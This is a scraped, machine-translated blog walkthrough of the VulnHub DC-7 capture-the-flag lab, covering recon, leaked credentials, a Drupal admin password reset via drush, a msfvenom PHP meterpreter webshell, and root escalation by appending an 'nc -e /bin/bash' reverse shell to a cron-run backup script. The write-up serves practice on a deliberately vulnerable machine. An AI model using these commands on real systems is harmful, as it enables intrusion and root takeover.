当前位置:网站首页>Vulnhub's dc7 target
Vulnhub's dc7 target
2022-06-29 07:46:00 【lainwith】
Catalog
Introduce
series : DC( This series consists of 10 platform )
Release date :2019 year 8 month 31 Japan
difficulty : intermediate
Flag: obtain root jurisdiction , And get the only flag
Study :
- drupal install php Realize hanging horse
- Raise the right
Target address :https://www.vulnhub.com/entry/dc-7,356/
Get tips from the shooting range :
- The target is more suitable for Virtualbox
- Don't try to explode , It's hard to succeed.
information gathering
The host found
netdiscover The host found
about VulnHub For the target , appear “PCS Systemtechnik GmbH” It's the target .
netdiscover -i eth0 -r 192.168.1.0/24

Host information detection
Information detection :nmap -A -p- 192.168.1.125, Only open 22 and 80 port 
Visit website
Know that the website is drupal Site , The prompt message on the front page of the website is that we are not recommended to blow up the website .
The directory scan did not find any valuable information , The only interesting thing is the one in the lower left corner “@DC7USER”, I don't know what it is , Google it , Found a twitter account 
Get one github Address 
Checked , This github The address is the same as the first search result of Google , Then I saw the account number :dc7user、 password :MdR3xOgB7#dW
The attempt to log in to the website failed 
forehead , Then you have to try ssh Connected to . And then it's connected .
SSH Sign in
information gathering

The only thing that stands out is mbox file . View the mess directly , Use mail -f mbox It is known that there are 9 seal , In order to root Identity runs regularly /opt/scripts/backups.sh The script gets . The shooting range is not yet sudo, Let's see what this script is .
I got a lot of information 
analysis :
- Because this script executes root jurisdiction , So now we just need to write the bounce in the script shell Command will get root The powers of the shell 了
- www-data The user has permission to write to the script , So we got www-data User's rebound shell Namely root The powers of the shell
- drush The order is drupal Specific management tools in the system . You can modify www-data user admin password
modify web Backstage password
modify admin User password is admin:drush user-password admin --password="admin"
Login successful 
Hang a horse
There is no place to hang the horse , Read other people's articles , I have gained some insight , It can be installed php Come and hang the horse
- Found no write php The page of

- download php:https://www.drupal.org/project/php/releases/8.x-1.1

- install php


Search for php Positioning position , Check it , And click Install 
- Start hanging horses
because webshell Manage the font size of the tool 、 The background color is not convenient for screenshot display , So I still use msf To do it .
Create a back door
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.118 LPORT=4444 x> shell.php
Turn on monitoring
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.118
exploit
- Drop the Trojan horse

- getshell

Raise the right
rebound shell:echo 'nc -e /bin/bash 192.168.1.118 4444' >> /opt/scripts/backups.sh
kali Turn on monitoring :nc -nvlp 4444
Because the script is every 15 Run every minute , Sit back and wait for 15 Minutes!
- Confirm that the command is written successfully

- Listen to the song , Then you see the establishment nc Connect

边栏推荐
- Concurrent idempotent anti shake
- How to talk about salary correctly in software test interview?
- [translation] E-Cloud. Large scale CDN using kubeedge
- Appium automation test foundation ADB common commands (III)
- Markdown skill tree (9): tables
- Oracle 批量插入数据-插入民族数据
- Selected Siemens PLC project example source code [300 sets in total]
- SQL 注入绕过(六)
- Detailed explanation of communication principle between [industrial control old horse] single chip microcomputer and Siemens S7-200
- Cross domain data request using jsonp
猜你喜欢

Some examples.

呕心沥血总结出来的MySQL常见错误以及解决方法(二)

Deploy Prometheus server service system management

Imx6dl4.1.15 supports EIM bus (Part 2) - configuration principle analysis.

Schnuka: 3D visual inspection scheme 3D visual inspection application industry

Wechat applet learning notes (summer vacation)

C实战——高配版贪吃蛇游戏设计

Reflection modification final

tf. count_ nonzero

Mmclassification installation and debugging
随机推荐
Markdown skill tree (5): picture
Blue Bridge Cup - minimum frame
【工控老马】西门子PLC s7-300SCL编程详解
数组知识点小结
498. diagonal traversal (simulation)
【工控老马】基于西门子S7-200PLC的跑马灯控制系统的设计方案详解
九州云助力内蒙古“东数西算”工程,驱动测绘行业智慧新生态
Imx6dl4.1.15 supports EIM bus (Part 2) - configuration principle analysis.
Selected Siemens PLC project example source code [300 sets in total]
Kingbasees v8r6 cluster maintenance case -- single instance data migration to cluster case
Schnuka: what is visual positioning system? How visual positioning system works
Es query syntax
Is virtual DOM really the fastest?
Golang modifying the value of a structure slice
The table cannot be vacuumed because the cursor is open for a long time
Markdown skill tree (1): introduction to markdown
How to solve the cross domain problem of mobile phone accessing the web in the web development scenario
Beanpostprocessor and beanfactorypostprocessor
多态中的向上和向下转型
HANA数据库License的查看申请及安装